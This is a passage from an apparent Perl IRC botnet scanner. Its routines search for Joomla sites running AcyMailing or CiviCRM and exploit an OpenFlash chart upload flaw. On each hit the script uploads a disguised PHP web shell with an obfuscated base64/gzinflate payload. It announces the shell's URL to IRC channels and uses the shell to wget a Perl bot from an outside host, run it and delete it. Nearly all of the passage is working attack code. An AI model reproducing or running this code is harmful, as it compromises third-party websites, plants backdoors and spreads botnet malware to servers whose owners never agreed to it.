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'))); ?>"; my $ua = LWP::UserAgent->new; my $res = $ua->request(POST $test,Content_Type => 'text/plain', Content => $code); my $print = $res->as_string(); if ($print =~ /Saving your image to: ..\/tmp-upload-images\/load.php/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $hasil = get_content('http://'.$site."/components/com_acymailing/inc/openflash/tmp-upload-images/load.php"); if ($hasil =~ /GIF89aG/) { my $safe =""; if ($hasil =~ /GIF89aG<b><br><br>OS:(.+?)<br>/) {$safe = $1;} &msg("$admin","$acymailinglogo215$engine 9 sHeLL 8 http://".$site."/components/com_acymailing/inc/openflash/tmp-upload-images/9load.php OS :".$1); &msg("$chan","$acymailinglogo215$engine 13 sHeLL upload3d "); &msg("$chan2","$acymailinglogo215$engine 9 sHeLL 8 http://".$site."/components/com_acymailing/inc/OpenFlash/tmp-upload-images/9load.php OS :".$1); &msg("$nick","$acymailinglogo215$engine 9 sHeLL 8 http://".$site."/components/com_acymailing/inc/OpenFlash/tmp-upload-images/9load.php OS :".$1); &get_content("http://".$site."/components/com_acymailing/inc/openflash/tmp-upload-images/load.php?cmd=cd%20/tmp%20;wget%20http://flickr.com.oliso.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*"); sleep(3); } } exit; sleep(2); } } elsif ($print =~ /Saving your image to: ..\/tmp-upload-images\/load.php/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $hasil = get_content('http://'.$site."/components/com_acymailing/inc/OpenFlash/tmp-upload-images/load.php"); if ($hasil =~ /GIF89aG/) { my $safe =""; if ($hasil =~ /GIF89aG<b><br><br>OS:(.+?)<br>/) {$safe = $1;} &msg("$admin","$acymailinglogo215$engine 9 sHeLL 8 http://".$site."/components/com_acymailing/inc/OpenFlash/tmp-upload-images/9load.php OS :".$1); &msg("$chan","$acymailinglogo215$engine 13 sHeLL upload3d "); &msg("$chan2","$acymailinglogo215$engine 9 sHeLL 8 http://".$site."/components/com_acymailing/inc/OpenFlash/tmp-upload-images/9load.php OS :".$1); &msg("$nick","$acymailinglogo215$engine 9 sHeLL 8 http://".$site."/components/com_acymailing/inc/OpenFlash/tmp-upload-images/9load.php OS :".$1); &get_content("http://".$site."/components/com_acymailing/inc/openflash/tmp-upload-images/load.php?cmd=cd%20/tmp%20;wget%20http://flickr.com.oliso.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*"); sleep(3); } } exit; sleep(2); }} } } } sub acymailing_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my @list = search_engine($chan,$bug,$dork,$engine,$acymailinglogo); my $num = scalar(@list); if ($num > 0) { foreach my $site (@list) { $count++; if ($count == $num-1) { &msg("$chan","15(7@4$engine15)13 Scan finish15"); } my $test = "http://".$site.$bug."?name=load.php"; $code = "GIF89aG"; $code.= '<?php '; $code.= "echo '<b><br><br>OS:'.php_uname().'<br></b>'; "; $code.= 'echo \'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\'; '; $code.= 'echo \'<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>\'; '; $code.= "if( \$_POST['_upl'] == \"Upload\" ) { "; $code.= "if(\@copy(\$_FILES['file']['tmp_name'], \$_FILES['file']['name'])) { echo '<b>Upload Succesfully !!!</b><br><br>'; } "; $code.= "else { echo '<b>Upload Fail !!!</b><br><br>'; } "; $code.= " } "; $code.= "eval(gzinflate(base64_decode('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'))); ?>"; my $ua = LWP::UserAgent->new; my $res = $ua->request(POST $test,Content_Type => 'text/plain', Content => $code); my $print = $res->as_string(); if ($print =~ /Saving your image to: ..\/tmp-upload-images\/load.php/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $hasil = get_content('http://'.$site."/administrator/components/com_acymailing/inc/openflash/tmp-upload-images/load.php"); if ($hasil =~ /GIF89aG/) { my $safe =""; if ($hasil =~ /GIF89aG<b><br><br>OS:(.+?)<br>/) {$safe = $1;} &msg("$admin","$acymailinglogo15$engine 9 sHeLL 8 http://".$site."/administrator/components/com_acymailing/inc/openflash/tmp-upload-images/9load.php OS :".$1); &msg("$chan","$acymailinglogo15$engine 13 sHeLL upload3d "); &msg("$chan2","$acymailinglogo15$engine 9 sHeLL 8 http://".$site."/administrator/components/com_acymailing/inc/openflash/tmp-upload-images/9load.php OS :".$1); &msg("$nick","$acymailinglogo15$engine 9 sHeLL 8 http://".$site."/administrator/components/com_acymailing/inc/openflash/tmp-upload-images/9load.php OS :".$1); &get_content("http://".$site."/administrator/components/com_acymailing/inc/openflash/tmp-upload-images/load.php?cmd=cd%20/tmp%20;wget%20http://flickr.com.oliso.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*"); sleep(3); } } exit; sleep(2); } } elsif ($print =~ /Saving your image to: ..\/tmp-upload-images\/load.php/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $hasil = get_content('http://'.$site."/administrator/components/com_acymailing/inc/OpenFlash/tmp-upload-images/load.php"); if ($hasil =~ /GIF89aG/) { my $safe =""; if ($hasil =~ /GIF89aG<b><br><br>OS:(.+?)<br>/) {$safe = $1;} &msg("$admin","$acymailinglogo15$engine 9 sHeLL 8 http://".$site."/administrator/components/com_acymailing/inc/OpenFlash/tmp-upload-images/9load.php OS :".$1); &msg("$chan","$acymailinglogo15$engine 13 sHeLL upload3d "); &msg("$chan2","$acymailinglogo15$engine 9 sHeLL 8 http://".$site."/administrator/components/com_acymailing/inc/openflash/tmp-upload-images/9load.php OS :".$1); &msg("$nick","$acymailinglogo15$engine 9 sHeLL 8 http://".$site."/administrator/components/com_acymailing/inc/openflash/tmp-upload-images/9load.php OS :".$1); &get_content("http://".$site."/administrator/components/com_acymailing/inc/openflash/tmp-upload-images/load.php?cmd=cd%20/tmp%20;wget%20http://flickr.com.oliso.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*"); sleep(3); } } exit; sleep(2); }} } } } sub civicrmcmd_exploit() { my $chan = $_[0]; my $bug = $_[1]; my $simpan = $_[2]; my $dork = $_[3]; my $engine = $_[4]; my $nick = $_[5]; my $count = 0; my @list = search_engine($chan,$bug,$dork,$engine,$civiclogo3); my $num = scalar(@list); if ($num > 0) { foreach my $site (@list) { $count++; # if ($count == $num-1) { &msg("$chan","15(7@4$engine15)13 Scan finish15"); } my $test = "http://".$site.$bug."?name=load.php"; $code = "GIF89aG"; $code.= '<?php '; $code.= "echo '<b><br><br>OS:'.php_uname().'<br></b>'; "; $code.= 'echo \'<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\'; '; $code.= 'echo \'<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>\'; '; $code.= "if( \$_POST['_upl'] == \"Upload\" ) { "; $code.= "if(\@copy(\$_FILES['file']['tmp_name'], \$_FILES['file']['name'])) { echo '<b>Upload Succesfully !!!</b><br><br>'; } "; $code.= "else { echo '<b>Upload Fail !!!</b><br><br>'; } "; $code.= " } "; $code.= "eval(gzinflate(base64_decode('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'))); ?>"; my $ua = LWP::UserAgent->new; my $res = $ua->request(POST $test,Content_Type => 'text/plain', Content => $code); my $print = $res->as_string(); if ($print =~ /Saving your image to: ..\/tmp-upload-images\/load.php/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my $hasil = get_content('http://'.$site."/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/load.php"); if ($hasil =~ /GIF89aG/) { my $safe =""; if ($hasil =~ /GIF89aG<b><br><br>OS:(.+?)<br>/) {$safe = $1;} &msg("$admin","$civiclogo315$engine 9 sHeLL 8 http://".$site."/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/9load.php OS :".$1); &msg("$chan","$civiclogo315$engine 13 sHeLL upload3d "); &msg("$chan2","$civiclogo315$engine 9 sHeLL 8 http://".$site."/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/9load.php OS :".$1); &msg("$nick","$civiclogo315$engine 9 sHeLL 8 http://".$site."/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart/tmp-upload-images/9load.php OS :".$1); &get_content("http://".$site."/administrator/components/com_civicrm/civicrm/packages/openflashchart/tmp-upload-images/load.php?cmd=cd%20/tmp%20;wget%20http://flickr.com.oliso.com/bot.log%20;%20perl%20bot.log%20;%20rm%20-rf%20bot.log*"); sleep(3); } } exit; sleep(2); } } elsif ($print =~ /Saving your image to: ..\/tmp-upload-images\/load.php/i) { if (my $pid = 